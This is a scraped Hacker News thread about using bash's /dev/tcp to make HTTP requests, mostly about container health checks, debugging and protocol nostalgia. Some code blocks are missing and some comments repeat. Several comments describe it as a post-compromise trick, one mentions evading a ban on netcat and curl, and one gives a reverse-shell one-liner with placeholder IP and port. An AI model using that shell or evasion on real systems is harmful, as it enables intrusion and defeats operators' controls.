For the next level unlock try to make a HTTP/3 request over /dev/udp.
tzot 1 days ago [-]
I would use HTTP/1.0 without a need for Connection: close. Unless 1.0 is not generally supported anymore, but this is not the case in my experience.
timwis 1 days ago [-]
You could also use nsenter if curl is installed on the host, eg
docker inspect -f '{{.State.Pid}}' container-name
# let's imagine that outputs 814538
nsenter -t 814538 -n curl example.com
JSR_FDED 18 hours ago [-]
For a light-weight aliveness check or something like that this is perfectly fine approach.
Just like parsing HTML with regexes can be fine too - for instance if you know the sender.
Just like repeating code can be fine too, even though it violates DRY.
Mixing markup and code can be fine (call it Locality of Behavior).
But separating markup and code is fine too (Separation of Concerns).
goto’s can be a lifesaver for deeply nested error conditions in C.
The point is all these “you shouldn’t do this” comments are just generalities. Use your judgement, decide if the tradeoffs are right and make a deliberate choice.
AndrewStephens 1 days ago [-]
This is pretty neat if all you need is to ping a local server but please use curl (or something equivalent) for contacting remote services. HTTP1.1 seems like such a simple protocol but in the real world you need to deal with proxies, different encodings, and redirects. Curl takes care of that (and a host of other annoying stuff) for you.
mrshu 1 days ago [-]
Totally!
I was really just trying to see if intra-container connectivity works, and this ended up being a very quick way of doing so. (The alternative being building and deploying a new image, which would likely take significantly longer.)
KomoD 1 days ago [-]
> The alternative being building and deploying a new image, which would likely take significantly longer
It was fun exploring this to make a native-shell-only peer-to-peer file transfer utility at work for some automation scripts. At least, it was until trying to replicate it in Powershell was somehow triggering Crowdstrike and the corporate Cybersecurity team thought I was writing malware.
pickle-wizard 1 days ago [-]
At a past job the security team wouldn't let us have netcat or curl on our systems. So I just used /dev/TCP to get around that. The ergonomics were not as nice as using netcat or curl, but it got the job done.
saidinesh5 1 days ago [-]
Fun story: A few years ago, I worked for a small company that customized off the shelf routers to enable businesses provide Wifi Hotspots.
The routers were very basic model with very limited flash memory (~4MB?). I was brought in to build firmware for those routers. I ended up customising openwrt - removed all kinds of packages to make their packages fit on those routers. At the end, I had less than 4KB space, And I needed to implement a "heart beat" service. A lot of routers were behind firewalls that only allowed http, https and a couple of other protocols. Libcurl was too heavy. So I ended up writing a shell script that used this feature of bash to send out heart beats.
Fun times...
MisterTea 1 days ago [-]
TIL: bash and other shells try to copy Plan 9's /net directory and the kernel ip(3) file server. Too bad it's not a real file system. And a missed opportunity to call the root of the path /net.
This uses the timeout command from coreutils though, so it is not a pure bash implementation.
dchest 1 days ago [-]
It's interesting that most of the comments here are about using this feature to bypass security restrictions (whether valid or not). It says a lot about the attack surface of GNU utilities caused by featuritis.
dennis16384 1 days ago [-]
This is the kind of content we all deserved in 2026, and this is still why I ask during interviews to explain how cookies are represented in HTTP protocol.
washbasin 1 days ago [-]
This is an old post-compromise trick used when an attacker needs to download a payload or make a network connection and curl, wget and nc are all not available.
smoothgrammer 18 hours ago [-]
There is a whole talk on how to use it even for interactive sessions.
This was something I learned about 10 years ago when earning my OSCP, useful during penetration tests and CTFs when you get a low-priv shell that's running a minimal OS (No curl, nc, python, etc.) but running a web server listening on localhost.
Using /dev/tcp was also handy in getting that initial low-priv shell.
ExoticPearTree 12 hours ago [-]
The 90s are calling. Its a bit funny when 30 years or so later people rediscover linux functionalities.
chaps 1 days ago [-]
Once had a coworker tell me to never to use this because "you never know when the customer doesn't have bash installed; use python instead" even though our contract required that the customer had bash. I'm still laughing at that.
1 days ago [-]
quotemstr 1 days ago [-]
FWIW, some distributions (I forget which ones, but I've seen it more than once) compile bash without the network features. Python is ubiquitous, and I've never seen it subsetted this way, so I'd have sided with the coworker.
chaps 1 days ago [-]
Eh, looking around, I think you're thinking of Debian. They re-enabled it by-default back in 2009. So, sure, I guess. But if you're dealing with an OS that's from 2009 these days, whether /dev/tcp is enabled in bash or not isn't exactly relevant anymore. And I've seen enough broken python installs (even with stdlib) to put my faith in /dev/tcp working in bash :)
geoctl 1 days ago [-]
I discovered this bash trick by chance when I was once trying to healthCheck the Envoy's official OCI image container which didn't include curl or wget while forcing the envoy admin interface to listen on localhost which breaks the traditional k8s httpGet checks.
Retr0id 1 days ago [-]
It's a fun trick, but I really don't like that bash does this. It's such an un-clean interface, and I'm not aware of any use cases beyond trying to exfiltrate data from a badly locked-down shell.
alienbaby 1 days ago [-]
Reminds me of telnetting to port 80 to make a get request years and years ago
tim-tday 22 hours ago [-]
I love that under Linux your tcp stack is a file.
p-e-w 22 hours ago [-]
It isn’t. This is a Bash feature. It doesn’t work from other programs.
nesarkvechnep 1 days ago [-]
I find /dev/udp much more useful. I can create aliases for fire and forget commands to my daemons without actually writing *ctl program.
ygouzerh 15 hours ago [-]
How are you doing that? I am intrigued!
nesarkvechnep 2 hours ago [-]
Ah, sorry, it wasn't /dev/udp but socat - echo "hello" | socat - UNIX-SENDTO:/path/to/socket.
devsda 1 days ago [-]
Yes, it used to be my goto few times when some devices tried to lockdown everything with bare minimum core utils and no network capable tools like curl etc.
nedt 1 days ago [-]
I actually have a couple of Dockerfiles that are using exactly this in the HEALTHCHECK. Less packages to install.
high_byte 15 hours ago [-]
interesting attack vector
shame it's not a real device so the surface is limited to bash only
I wonder what software might be vulnerable to this attack surface
sc68cal 1 days ago [-]
That's pretty neat, thanks for sharing
varbhat 12 hours ago [-]
Thanks! I dislike this
andrewshadura 15 hours ago [-]
You don't need Connection: close if you use HTTP/1.0.
m3047 1 days ago [-]
At least on my systems there's also /dev/udp...
ddlsmurf 22 hours ago [-]
why bother with /dev, all you need is a battery, a couple of needles and some length of ethernet cable
charles_f 22 hours ago [-]
drop the battery and use either PoE or just AC
laserbeam 18 hours ago [-]
> This is a bash feature, not POSIX. dash (Debian’s /bin/sh) and zsh don’t have it, so a #!/bin/sh script can’t use it. Call bash directly.
This is why we can’t have nice things. This feature is complex and obscure enough that you are unlikely to be able to use it manually without consulting a reference, and poorly supported that any script you write with it is unportable.
Bash is so powerful and so frustrating for this reason all the time :(
Steeeve 1 days ago [-]
brb. recompiling bash in all my base images.
alienbaby 1 days ago [-]
Reminds me of using telnet to port 80 to make get requests aeons ago
johnea 23 hours ago [-]
This is a cool trick.
I discovered it for myself some years ago, when I wanted to make simple network test scripts run without depending on curl or telnet, or other executables outside of bash.
sbseitz 17 hours ago [-]
Welcome to the year 2000.
black_knight 1 days ago [-]
Wait until they hear about Plan 9!
uberex 1 days ago [-]
telnet then?
WesolyKubeczek 12 hours ago [-]
Then TLS, HTTP/2, and HTTP/3 enter the chat, and now you can’t just send a request.
Simple get: GET / HTTP/1.1 Content-Type: text/html User-Agent: l33t hax0rs lol X-Funny-Monkey: farts
For sending a mail message on port 25: HELO mail-from: whoever@whatever.com mail-to: sysadmin@yaya.com <other headers> <blank line> Body of the message yay. <two blank lines to end>
POP3 was so long ago I forgot but you could list the mailboxes then get individual messages and so on.
This revelation was the beginning of "there is no magic" for me. The realization that every part of the computer was built by human beings and was at some level understandable if one undertook the effort.
Perhaps most people in the future won't bother. They'll just let agents do it all. I'm sure that will leave some interesting holes in various systems for people willing to actually learn how they work without the filter of a model (or its safety rails).
But at my first work (begining of 2000s) there was one person that made a fun email, using From of head of company (or was it head of that particular division) to his coworker with congratulations for pay increase and promotion. It would be all great, but that coworker didn't catch the joke and replied to it (person in the From wasn't amused). Author of the joke was fired (which is not easy thing to do in Europe), some people don't catch jokes.
She stood behind me and watched bemused as I fired up telnet, connected to my ISP's pop server and started reading emails from friends. I think I did manage to send some emails back via SMTP but I was not as good with that protocol.
If you could bottle the creativity and enthusiasm of a bored teen, I'm pretty sure you could take over the world
> most SMTP servers would accept email from anyone anywhere to anyone anywhere (i.e. 'open relay').
to date that claim, I'd say that by the late 90s at least, true open relays ("from anyone to anyone") were still numerous but carried a huge assumption of being part of spam operations (willingly or through ineptitude), and the most basic spam filtering would reject mail that came out of one.
That said, (before things like SPF) it was easy enough to deliver email to anyone you wanted even if you didn't have your own real email account and SMTP server; you could just look up the destination's MX and connect to it with telnet like that. Since your own random IP probably wasn't blocklisted it would generally be accepted and delivered.
Back then it was still basically considered bad form to reject email simply because the server didn't know where it was from... sadly, if we were still playing by those rules today, I can only imagine how useless email would be. Now it's definitely guilty-till-proven-innocent.
There are rules now, but the concept is still almost intact, random people writing to the servers disk - to be later read by someone
I think it's neat that you can still find echoes of this. MAIL worked by just appending to MLFL, separating records with CRLF.CRLF - which is still how Data segments are terminated in SMTP.
One day I realized even databases were just text files and I had to sit down.
Probably get confusing again when people start referring to 'the 20s' not as the 1920s.
As the calendar rolled from 1999 to 2000, we entered a new millennium, century, decade, year, day, ...
Every Jan 2 I start saying "last year" and every Dec I say "see you next year"
no, that all happened when we rolled from 2000 to 2001.
smh, even paedants today aren't what they used to be.
I think that's more or less when I lost faith in humanity.
The current year counting was based on the same way years were counted in the past, so you had things like "the 10th year of Caesar's reign". So the year 1 A D. was the first year of Christ's reign.
The year 2000 was the 2000th year of Christ's reign so that's what is celebrated.
Alternatively, you don't really care about that and it's called Common Era now anyway, but in that case it's entirely arbitrary. So either way, calling 2001 the New Millennium is wrong!
You also can't do that with TLS (and a lot of servers won't talk HTTP other than redirects). openssl s_client instead of telnet might allow you to tunnel text inside TLS, but that feels like a cheating.
And many other modern protocols, sadly, prefer binary encoding, which makes it impossible to tinker with it on wire level, not without specialized tools anyway.
I think people in the future will bother. I tried to make a fire with sticks once, I tried to burn a clay brick, these old things can be a lot of fun and sometimes of real use. If anything, AI actually makes tinkering a lot more easier. You don't need to dig into RFC to check your mail, you can just talk to LLM about it and it'll help you with most typical IMAP commands, for example.
You're welcome. Works like netcat plus TLS. Kind of inconvenient though. Hey someone should write tlsnc.
Good times.
But the joke's on him--it led directly to me meeting a lifelong friend & mentor.
I am not sure why this is a revelation. Any college level networking course would cover this?!
As an actual kid it's easy for it to be a revelation, no? At least it was for me, with no college level networking course experience.
But can you imagine the look on some young teen’s face when they train their own GPT on their local computer for the first time?
Zsh has its own zsh/net/tcp and zsh/zftp modules.
https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
9front lets you play with that on Linux.
Some Plan 9 like /net things are visible in Go libraries... (Rob Pike legacy)
This is awesome.
I open my web browser and go to http://example.com and get redirected to the captive portal page again and retry completing what they need from me to get internet access.
https://gist.github.com/skull-squadron/edb8c0122f902013304c0...
- http://captive.apple.com/
- http://connectivitycheck.gstatic.com/generate_204
- http://detectportal.brave-http-only.com/
Plus, it feels nice to depend on the reserved domain name example.com instead of relying on a domain that any one specific corporation has to maintain :D
My only concern would be that example.com doesn't promise to never do the 'required SSL' thing.
No, it can not. Bash lets you open TCP sockets.
What you are doing here is trying to speak HTTP yourself, which is fine for testing and debugging, and hella cool for fun to do by hand, but you will shoot yourself in the foot if you try to use this pseudo http client unattended in reality. This toy code does not parse HTTP properly and will break.
You could of course write a full http/1.1 client in bash, you can even do a full http server in pure bash: https://github.com/bahamas10/bash-web-server
For less insane, non-bash shells there is always nc which is usually probably the wiser choice.
bash-web-server project builds a C language socket listener [0] that is dynamically loaded at run-time as a "built-in" module that makes the functionality available.
[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
Edit: https://news.ycombinator.com/item?id=39369749 (2024)
Reminds me of the time on libera IRC when someone told me "cloud storage does not exist" because they were hung up on some ultra-purist word definition that nobody else shared.
That probably wouldn't be a useful distinction because almost every module can be built in
Very fair pushback -- I did get carried away and will update the article to be more precise. Thanks for raising it!
> For less insane, non-bash shells there is always nc which is usually probably the wiser choice.
For completeness, `nc` or any netcat equvialent I could think of was not available in the image I was trying this with. It would certainly be a better option though.
Was grandparent comment written by an LLM?
Or is this a human who copies a style they saw in a blog post, unaware that they’re copying an AI?
Or is this a human who spent too much time talking to an AI and now they just talk like this?
Or is this an organic human response and we’re all paranoid by now?
I don’t know which would be worse.
For many in the next generation of language learners, this reference will be Claude.
But certainly with smarter AI I do believe it'll become more fluent with choosing more diverse idioms and phrasing, rather than repeating one thing over and over, to a point of being a comically similar. So people who learn on AI-generated text, will not learn from just one recurring style.
The amount of languages are decreasing on the earth, I would also say that dialects and accents are decreasing as well. I think this is a problem.
(For what it's worth I did write the message above manually but I understand why no one would believe that now. At least I did not call netcat "load-bearing" [https://mareksuppa.com/til/load-bearing/] or something...)
Before that would just made you top 5% (or maybe top 1%) of the nicest people to talk too.. know ppl think you are Claude.
We are all going crazy s a sibling comment said.
I notice myself getting afflicted with llm-isms after a full workday. And I didn't always notice, sometimes I only realize the day after...
Like it slowly siphoned out my soul, which then reconnected with me over night
I remember when the "hacker vs. cracker" distinction went away because Hollywood co-opted the former and it became de facto "hacker == bad guy"
it is insane to use it for anything serious (also the opposite, implementing webservers in bash), but for quick testing it's pretty great!
[2] - torsocks, tsocks, wireproxy, shadowsocks-rust, proxychains-ng, etc...
and a server behind it like
``` mkfifo /tmp/myfifo cat /tmp/myfifo | nc -l 12345 > /tmp/myfifo ```
so if you manually type out
you can see exactly what's happening. To be fair you can hack curl to support that via but that's not exactly what you want and requires curl to have been compiled with telnet support.I need to try this with a Squid SSL Bump MitM proxy just dont have one up at the moment.
telnet was always there though. it also worked for speaking all the other plaintext internet protocols. (imap, pop, smtp, etc)
Use nc or this TCP Bash technique if you really want to ensure decent compatibility when doing hacky solutions, otherwise a random 0xFF somewhere from a terminal console color change (or other control character) might really screw you over.
EDIT or ya know, use the correct tool like Curl.
Like if my server replied with ‘HI PLEASURE TO MEET YOU 127.0.0.1 THAT NAME SOUNDS FAMILIAR ARE YOU BY CHANCE FROM BOSTON MY MOTHER IS FROM BOSTON WELL QUINCY ACTUALLY BUT DO YOU KNOW 127.0.1.1 THEY ARE A REALLY GOOD FRIEND OF MINE YOU SHOULD MEET I HEAR THEIR DAUGHTER IS A DOCTOR DONTYAKNOW AND YOU COULD…”
etc, etc?
smtp grew up to be an antisocial curmudgeon. extended smtp starts with EHLO.
email will become so unusable, next one will have to be HELNO i guess
"EHLO" still sounds friendly. It just sounds like a different accent or something. Know someone that used to answer calls with a friendly "Jello?".
When there is no corresponding level of restraint in the libraries that we add to most applications, does it really make a difference to leave out the likes of curl, nano, ping, etc compared to how frustrating it is to operate in just busybox (etc)?
I'm not just ranting, I'd actually like someone who swears by always shipping alpine images (etc) and never installing any basic utilities in them to share their reasoning.
Thanks to `kubectl debug`, you don't need to install debugging utilities into your production image.
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
Though I did also notice they didn’t claim it was pure bash themselves. That’s a flare you added.
Common misconception, if you want to replace a dependency on a swiss knife you don't need to implement a swiss knife, sometimes you can just implement the last helix of the corkscrew.
api, GET url, content-type aplication/json, parse json
you can even invert it and make a server
I thought you had to use a program called netcat for that--if not then what is the point of that binary? And for that matter, can't you also use telnet to manually send HTTP?
https://linux.die.net/man/1/nc
The main surprise was that Bash has /dev/tcp which lets you do the equivalent of an HTTP request with a bit of shell magic, for instance:
Where `service` is just the hostname of whatever you’re talking to and 8642 is the port you are trying to talk HTTP to.Pretty cool!
So we start at compiling the codebase (Rust) against MUSL. That way we can run it with FROM scratch images.
If we need more tooling available at runtime, then we look at alpine, but still using MUSL.
If MUSL itself is proving problematic, or if some of the libraries we use need glibc then we can look at using some locked down image.
The cool part about FROM scratch images is that you'll never have to update your base image to address CVEs. Only your software and its (compiled) dependencies.
What's the benefit really, though? If you still need to be able to rapidly deploy a new image in response to a dependency CVE, what have you gained?
Add an ephemeral container to an already running pod, for example to add debugging utilities without restarting the pod.
https://kubernetes.io/docs/reference/kubectl/generated/kubec...
And even that's only true if you assume kubernetes is the only place your container runs where you might want to also debug it.
How wasteful though? I have to admit, I envy the person whose codebase itself they have to support is so lean and space-conservative that the size of the gnu coreutils, curl, nano, etc., would show up as anything but a rounding error in the image size.
I see it like putting a thermometer in a turkey before I stick it in the oven. Sure, the thermometer adds thermal mass itself, making the turkey take a few seconds longer to cook, but the value of it being there is greater than the cost imposed.
For the rare cases where you find yourself needing to attach a debugger to your pods running in staging/prod, a debug container is absolutely the right tool to reach for.
But when Docker scans my image and notices that there is a CVE in one of those binaries, my image is currently out of compliance.
FROM scratch just reduces the surface.
The actual attack surface of your application? Or the attack surface of you and your team's attention from a busybody security org.
It's important not to confuse the two.
> to not have any dependencies outside of the code.
> ... FROM scratch images is that you'll never have to update your base image to address CVEs...
So a FROM scratch image, basically doesn't have things like a package manager to install things, and maybe also libraries that things like curl would depend on? Sorry for my ignorance, I've heard of FROM scratch but never tried them.
If you want to run as another user, you need to manually add an /etc/group & /etc/password (or generate them in a stage before that and copy them over).
If you need ca-certificates, you need to install ca-certificates in a stage before that and copy over /etc/ssl/certs/ca-certificates.crt from that stage to your current one.
For what its worth, this container used `python:3.12.2-slim-bookworm` and I really would not expect that sort of an image to bundle `curl` -- even if it is intended for production.
In theory it has a couple of benefits. You don't have to re-deploy your image to patch CVE's in OS components if you don't have any OS components. And it provides some measure of defence-in-depth - one could certainly theory-craft a scenario where an attacker gains some limited control over your application and then uses some OS component to escalate.
These days if a security engineer is proposing my team adopt distro-less containers to receive these benefits, I would point out that we need to weigh them against the very real drawbacks of not having standard debugging tools available where and when we need them. And also to consider the relative impact of other defence-in-depth measures they could be pursuing instead - such as any sort of network policy to limit network traffic.
Add an ephemeral container to an already running pod, for example to add debugging utilities without restarting the pod.
https://kubernetes.io/docs/reference/kubectl/generated/kubec...
Keeping in mind that containers are merely a bunch of namespaces, there's nothing stopping you from entering the same PID namespace with a different mount namespace in order to debug.
To summarize, in my experience there is immense value to having basic shell tools available in the environment where you need them with zero extra friction. Stripping those out provides a security benefit only in specific nebulous and niche scenarios.
1: https://news.ycombinator.com/item?id=48561605
I agree, however assuming you maintain a chroot for debugging this can be accomplished with a shell command that takes a single argument to target a running container by name.
Your linked comment suggests being limited to kubernates but nsenter and a chroot are entirely runtime agnostic.
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
As others have mentioned, there are numerous other ways to directly access network features using shell tools, including curl (noted in TFA's title), wget, the HEAD and GET commands (from Perl), netcat (nc), socat, telnet, and I'm quite sure others.
FROM openjdk:11-jre-slim HEALTHCHECK --start-period=10s --timeout=3s --retries=5 \ CMD perl -e "use IO::Socket; $sock = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => 'localhost', PeerPort => '8888') or die $@; $sock->autoflush(1); print $sock 'GET /actuator/health HTTP/1.1' . chr(0x0a) . chr(0x0d) . 'Host: localhost:8888' . chr(0x0a) . chr(0x0d) . 'Connection: close' . chr(0x0a) . chr(0x0d) . chr(0x0a) . chr(0x0d); while (my $line = $sock->getline ) { if ($line =~ /UP/) {exit;} }; close $sock; exit 1;"
Why they didn't lock those down by using different creds per client in the computer lab I still don't know. Maybe it was a VAX limitation (at the time)?
It's a TCP client
curl is an HTTP client
I prefer TCP clients to HTTP clients. Simpler, easier to modify, faster to compile
There are many to choose from. For example, I use a modified version of tcploop
For generating HTTP, I use own utilties. This is more flexible than curl. There are some things curl cannot do, even though it has too many options
docker inspect -f '{{.State.Pid}}' container-name
# let's imagine that outputs 814538
nsenter -t 814538 -n curl example.com
Just like parsing HTML with regexes can be fine too - for instance if you know the sender.
Just like repeating code can be fine too, even though it violates DRY.
Mixing markup and code can be fine (call it Locality of Behavior).
But separating markup and code is fine too (Separation of Concerns).
goto’s can be a lifesaver for deeply nested error conditions in C.
The point is all these “you shouldn’t do this” comments are just generalities. Use your judgement, decide if the tradeoffs are right and make a deliberate choice.
I was really just trying to see if intra-container connectivity works, and this ended up being a very quick way of doing so. (The alternative being building and deploying a new image, which would likely take significantly longer.)
You said the image was Python, though? Using that is way easier and faster. https://news.ycombinator.com/item?id=48558763
If all you need to know is that it can connect:
python3 -c 'import socket as s;s.create_connection(("8.8.8.8",53))'
or http:
python3 -c 'from urllib.request import*;print(urlopen("http://example.com").status)'
https://github.com/ksh93/ast-open-archive/blame/master/src/c...
bash -i >& /dev/tcp/IP/PORT 0>&1
to talk to their friends(' computers).
The routers were very basic model with very limited flash memory (~4MB?). I was brought in to build firmware for those routers. I ended up customising openwrt - removed all kinds of packages to make their packages fit on those routers. At the end, I had less than 4KB space, And I needed to implement a "heart beat" service. A lot of routers were behind firewalls that only allowed http, https and a couple of other protocols. Libcurl was too heavy. So I ended up writing a shell script that used this feature of bash to send out heart beats.
Fun times...
https://youtu.be/hBcfrQ8y5Qg?is=Osjnhjrx7WgsHqVj
Using /dev/tcp was also handy in getting that initial low-priv shell.
shame it's not a real device so the surface is limited to bash only
I wonder what software might be vulnerable to this attack surface
This is why we can’t have nice things. This feature is complex and obscure enough that you are unlikely to be able to use it manually without consulting a reference, and poorly supported that any script you write with it is unportable.
Bash is so powerful and so frustrating for this reason all the time :(
I discovered it for myself some years ago, when I wanted to make simple network test scripts run without depending on curl or telnet, or other executables outside of bash.